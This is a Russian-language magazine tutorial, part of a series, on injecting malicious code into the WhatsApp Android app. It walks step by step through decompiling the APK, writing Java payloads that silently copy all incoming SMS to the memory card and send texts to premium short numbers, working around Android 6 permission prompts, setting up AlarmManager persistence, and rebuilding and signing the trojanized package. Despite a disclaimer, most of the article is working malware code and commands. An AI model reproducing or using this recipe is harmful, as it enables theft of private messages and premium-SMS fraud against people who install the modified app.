В прошлый раз мы разобрались, как взламывать приложения для Android. В большинстве случаев сделать это очень легко. Сегодня мы пойдем намного дальше и модифицируем одно очень известное приложение, заставив его сливать на сторону все входящие СМС и отправлять СМС на короткие номера. И опять же сделать это будет совсем нетрудно.

Напомню, что с прошлого набега на чужой софт у тебя должны были остаться несколько инструментов, а также алиасы в ~/.bashrc, необходимые для их быстрого запуска. Все это пригодится тебе и сегодня. Кроме того, в этот раз тебе понадобится среда разработки Android Studio. В статье я буду исходить из предположения, что сама Android Studio установлена в каталог ~/Android/android-studio, а SDK, то есть набор компиляторов и инструментов сборки, — в каталог ~/Android/android-sdk-linux.

Что касается софта, который мы будем препарировать, я предлагаю остановиться на WhatsApp — мегапопулярном приложении, которое входит в топ-10 всех магазинов приложений за все времена и, конечно же, нередко становится целью хакеров, внедряющих в него самые разные гадости. Так что статья получится более чем наглядной.

WARNING


Данная статья не является руководством начинающего создателя малвари и не призывает читателя к незаконным действиям. Единственная ее задача — рассказать, как на самом деле работают вирусы, встроенные в хакнутый софт, и предупредить, чем может грозить установка вареза на смартфон. Мы не одобряем вредоносную модификацию легитимного ПО и его распространение in-the-wild и напоминаем, что злонамеренное использование знаний, полученных из этой статьи, может повлечь ответственность, предусмотренную УК РФ.
 

Ищем точку входа

Как и в прошлый раз, идем на apkpure.com, вбиваем в строку поиска адрес WhatsApp в Google Play и скачиваем пакет APK. Для удобства переименовываем его в whatsapp.apk и перемещаем в каталог ~/tmp. Всю дальнейшую работу мы будем вести в нем.

Следующий шаг — найти наилучшее место для внедрения нашего зловредного кода. По объективным причинам такое место — это самое начало кода приложения, и если бы мы имели дело с обычной настольной Java, то это был бы метод main() главного класса приложения. Однако в Android исполнение приложения начинается не с main(). Фактически у здешнего софта вообще нет единой точки входа, оно состоит из множества компонентов, каждый из которых может получить управление при возникновении того или иного события.

Если мы хотим, чтобы наш код запускался при старте приложения с рабочего стола, нам нужно вставить его в класс, получающий управление при возникновении события (если быть точным, это называется «интент») android.intent.action.MAIN категории android.intent.category.LAUNCHER. Чтобы найти этот класс, придется дизассемблировать WhatsApp с помощью apktool и прочитать файл AndroidManifest.xml:

$ apktool d whatsapp.apk
$ less whatsapp/AndroidManifest.xml

Искомый класс носит имя com.whatsapp.Main. Открываем ~/tmp/whatsapp/smali/com/whatsapp/Main.smali и ищем метод OnCreate():

Это и есть искомая точка входа. C этого метода начинается исполнение графического Android-приложения, когда оно получает интент android.intent.action.MAIN, другими словами — когда юзер тапает по иконке приложения пальцем. В этот метод мы будем внедрять наш payload.

 

Пишем payload

Какой же код мы внедрим в WhatsApp? Для начала заставим его вывести на экран сообщение «Hi from malware!». Очень простая в реализации функция, которая позволит быстро проверить, что все работает так, как мы и рассчитывали. Если ты читал прошлую часть, то уже должен догадаться, как это сделать. Но не стоит торопиться, в этот раз мы не будем вставлять в код отдельные куски smali-кода, а вместо этого создадим отдельный класс, методы которого уже и будем вызывать из кода WhatsApp. Такой подход гораздо более удобен и позволяет как угодно расширять функциональность приложения, внося в его оригинальный код минимальные изменения.

Итак, открываем Android Studio, создаем новый проект, в поле Application name пишем Whatsapp, а в поле Company domain — com. Таким образом среда разработки сама разместит наш класс в пакете com.whatsapp, точно так же, как в оригинальном приложении. При выборе типа активности (Add an activity) выбираем Add No Activity. В левой части экрана разворачиваем список app → java → com.whatsapp и с помощью правой кнопки мыши создаем новый класс Payload. Добавляем в него следующие строки:

package com.whatsapp;

import android.content.Context;
import android.widget.Toast;

public class Payload {
  public static void run(Activity activity) {
    Toast.makeText(context, "Hi from malware!", Toast.LENGTH_LONG).show();
  }
}
Простейший payload
Простейший payload

Это и есть наш класс с единственным статическим методом, выводящим на экран сообщение. Теперь класс необходимо скомпилировать и транслировать в байт-код Dalvik. С помощью среды разработки без танцев с бубном это не получится, поэтому сделаем все из командной строки.

Для начала создадим в ~/tmp структуру каталога, аналогичную оригинальному приложению, и скопируем в нее исходный код класса:

$ mkdir -p com/whatsapp
$ cp ~/AndroidstudioProjects/Whatsapp/app/src/main/java/com/whatsapp/Payload.java com/whatsapp

Теперь скомпилируем его и транслируем в код Dalvik:

$ javac -classpath ~/Android/android-sdk-linux/platforms/android-23/android.jar com/whatsapp/*.java
$ ~/Android/android-sdk-linux/build-tools/23.0.3/dx --dex --output=Payload.dex com/whatsapp/*.class

Обрати внимание на android-23 и 23.0.3 в путях: чтобы они существовали, у тебя должен быть установлен SDK для Android 6.0 и соответствующие инструменты сборки (при первом запуске Android Studio предложит установить их сама).

В текущем каталоге (~/tmp) должен появиться файл Payload.dex. Его необходимо дизассемблировать:

$ baksmali Payload.dex

И скопировать в каталог с ранее дизассемблированным кодом WhatsApp:

$ cp out/com/whatsapp/*.smali whatsapp/smali/com/whatsapp
 

Вызываем Payload

Теперь в дизассемблированном коде WhatsApp есть наш класс, осталось только вызвать его статический метод run(). Чтобы это сделать, достаточно добавить следующую строку куда-то в начало метода onCreate():

invoke-static {p0}, Lcom/whatsapp/Payload;->run(Landroid/app/Activity;)V

На Java этот код выглядел бы так:

Payload.run(this);

То есть инструкция invoke-static, по сути, имеет такой вид:

invoke-static {аргумент}, Lимя_класса;->имя_метода(тип_аргумента;)тип_возвращаемого_значения

Регистр p0, который мы передали в качестве аргумента, всегда ссылается на текущий объект и эквивалентен ключевому слову this в Java. Текущий объект в данном случае имеет класс Activity, мы передаем его методу run() нашего класса, чтобы он смог использовать его для вывода сообщения на экран.

Метод OnCreate() с нашим кодом
Метод OnCreate() с нашим кодом

Все, осталось только собрать WhatsApp обратно в APK и подписать тестовым ключом:

$ cd ~/tmp/whatsapp
$ apktool b
$ cd ..
$ cp whatsapp/dist/whatsapp.apk whatsapp-payload.apk
$ sign whatsapp-payload.apk

Полученный файл whatsapp-payload.s.apk закидываем на карту памяти и устанавливаем.

Сработало!
Сработало!
 

Идем дальше

Какой же это зловред, если вместо кражи личной информации он только и делает, что сообщает о себе? Полностью согласен, поэтому сейчас мы существенно расширим возможности нашего payload. Он никак не будет выдавать своего присутствия, а вместо этого просто скинет все входящие СМС в файл на карте памяти:

public class Payload {
  public static void run(Activity activity) {
    Cursor cursor = activity.getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null);

    try {
      PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().getPath() + "/sms.txt", false)));

      if (cursor != null && cursor.moveToFirst()) {
        do {
          String address = null;
          String date = null;
          String body = null;
          for (int idx = 0; idx < cursor.getColumnCount(); idx++) {
            switch (cursor.getColumnName(idx)) {
              case "address":
                address = cursor.getString(idx);
                break;
              case "date":
                date = cursor.getString(idx);
                break;
              case "body":
                body = cursor.getString(idx);
            }
          }
          pw.println("From: " + address);
          SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss");
          String dateString = formatter.format(new Date(Long.valueOf(date)));
          pw.println("Date: " + dateString);
          pw.println("Body: " + body);
          pw.println();
        } while (cursor.moveToNext());
      }
      pw.close();
      cursor.close();
    } catch (Exception e) {}
  }
}

Данный код читает базу данных СМС и записывает на карту памяти красивый текстовый файл sms.txt, содержащий СМС в формате:

From: номер
Date: дата
Body: текст

При необходимости код можно дополнить, чтобы файл сразу сливался на удаленный сервер, а затем уничтожался, дабы не оставлять следов. Чтобы код заработал, в манифест приложения (~/tmp/whatsapp/AndroidManifest.xml) необходимо добавить разрешение на чтение СМС:

<uses-permission android:name="android.permission.READ_SMS"/>

Далее остается только скомпилировать класс, перегнать в smali, скопировать в приложение, собрать и подписать его, так же как мы делали это в предыдущем разделе. Организовать отправку СМС на короткий номер и того проще:

public class Payload {
  public static void run(Activity activity) {
    PackageManager pm = actvity.getPackageManager();
    if (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))
      return;
    SmsManager.getDefault().sendTextMessage("НОМЕР_ТЕЛЕФОНА", null, "ТЕКСТ_СООБЩЕНИЯ", null, null);
  }
}

Причем в этом случае даже не надо править AndroidManifest.xml — права на отправку СМС у WhatsApp уже есть.

Файл sms.txt, сформированный нашим кодом
Файл sms.txt, сформированный нашим кодом

В целом все просто, но есть одно большое но! Дело в том, что два приведенных выше куска кода будут отлично работать только до тех пор, пока ты не установишь хакнутый WhatsApp на смартфон под управлением Android 6.0 и выше. А тогда приложение упадет на старте, и причина в том, что «шестерка» требует явного запроса прав (в том числе на чтение СМС и запись на карту памяти) перед тем, как функции, защищенные этими правами, будут использованы.

И здесь мы попадаем в одну не очень приятную ситуацию. Запросить-то права мы можем, вот только сама система запроса права реализована не в нашу пользу, потому как событие «Пользователь нажал на „Да“» может быть обработано только активностью приложения с помощью колбэка onRequestPermissionsResult(). Другими словами, придется вносить изменения в сам Main.smali.

Но есть способ проще и тупее. На самом деле нам совсем необязательно дожидаться, пока юзер нажмет кнопку «Да» или «Нет», после нажатия система так или иначе либо даст разрешение на выполнение операции, либо запретит, поэтому мы можем просто подождать и после этого проверить, есть ли у нас нужные права:

public class Payload {
  public static void run(Activity activity) {
    if (android.os.Build.VERSION.SDK_INT >= 23) {
      if (!requestPermission(activity))
        return;
    }
    // ...код метода run() из предыдущего примера...
  }

  @TargetApi(23)
  private static boolean requestPermission(Activity activity) {
    if (activity.checkSelfPermission(Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) {
      activity.requestPermissions(new String[]{Manifest.permission.READ_SMS, Manifest.permission.WRITE_EXTERNAL_STORAGE}, 123);

      try {
        Thread.sleep(10 * 1000);
      } catch (Exception e) {}

      return activity.checkSelfPermission(Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED;
    } else {
      return true;
    }
  }
}

Данный код проверяет, запущен ли он в Android 6 или выше (API 23), и если да, то запускает код запроса разрешений на чтение СМС и запись на карту памяти, затем засыпает на десять секунд, а просыпаясь, проверяет, есть ли права (то есть нажал ли юзер «Да»). Если есть — отрабатывает уже знакомый нам код, нет — ничего не происходит.

Профессиональные программисты сожрут меня живьем за усыпление основного потока приложения, но мы здесь не в чемпионате на правильный код участвуем, главное, чтобы payload отработал, на остальное наплевать.

 

Периодические задачи

Проблема текущей реализации payload в том, что он будет запущен только во время холодного старта приложения, то есть при первом запуске, запуске после перезагрузки либо после того, как приложение будет вытеснено из памяти системой. Для одноразовой задачи это нормально, но что, если нам необходимо, чтобы наш зловред работал в фоне?

Для этого можно использовать сервис, то есть специальный поток, который будет висеть в фоне и делать нужную нам работу. Однако для нашей задачи это слишком избыточное решение. Гораздо удобнее использовать AlarmManager — специальную подсистему Android, позволяющую запускать нужный код через определенные интервалы. В отличие от сервисов AlarmManager не требует модификации AndroidManifest, достаточно просто привести код класса Payload к следующему виду:

public class Payload extends BroadcastReceiver {
  public static void run(Activity activity) {
    AlarmManager am = (AlarmManager) activity.getSystemService(Context.ALARM_SERVICE);
    Intent intent = new Intent(activity, Payload.class);
    PendingIntent pIntent = PendingIntent.getBroadcast(activity, 0, intent, 0);

    am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 60 * 1000, pIntent);
  }

  @Override
  public void onReceive(Context context, Intent intent) {
    // ...зловредный код...
  }
}

Метод run() устанавливает Alarm, который должен срабатывать каждую минуту (60 * 1000 мс) и запускать код, указанный в методе onReceive(). Красота этого подхода в том, что после установки Alarm’а он будет срабатывать вне зависимости от того, запущено ли приложение. То есть, если пользователь запустил хакнутый WhatsApp, а затем закрыл его, а система завершила WhatsApp при нехватке памяти, он вновь будет запущен в фоне, когда сработает Alarm.

 

Выводы

Как видишь, внедрить собственный код в чужое приложение не просто реально, а реально настолько, что с этой задачей справится даже ребенок. Все, что нужно, — знать основы программирования для Android и чуть-чуть понимать код smali. И тогда открываются просто безграничные возможности модификации других приложений. К примеру, можно реализовать систему загрузки полноценных плагинов, о чем я уже писал, или даже получить root, скачать и установить APK с вирусом в системный раздел.

За сим откланиваюсь. Встретимся в следующей статье цикла!

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    4 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии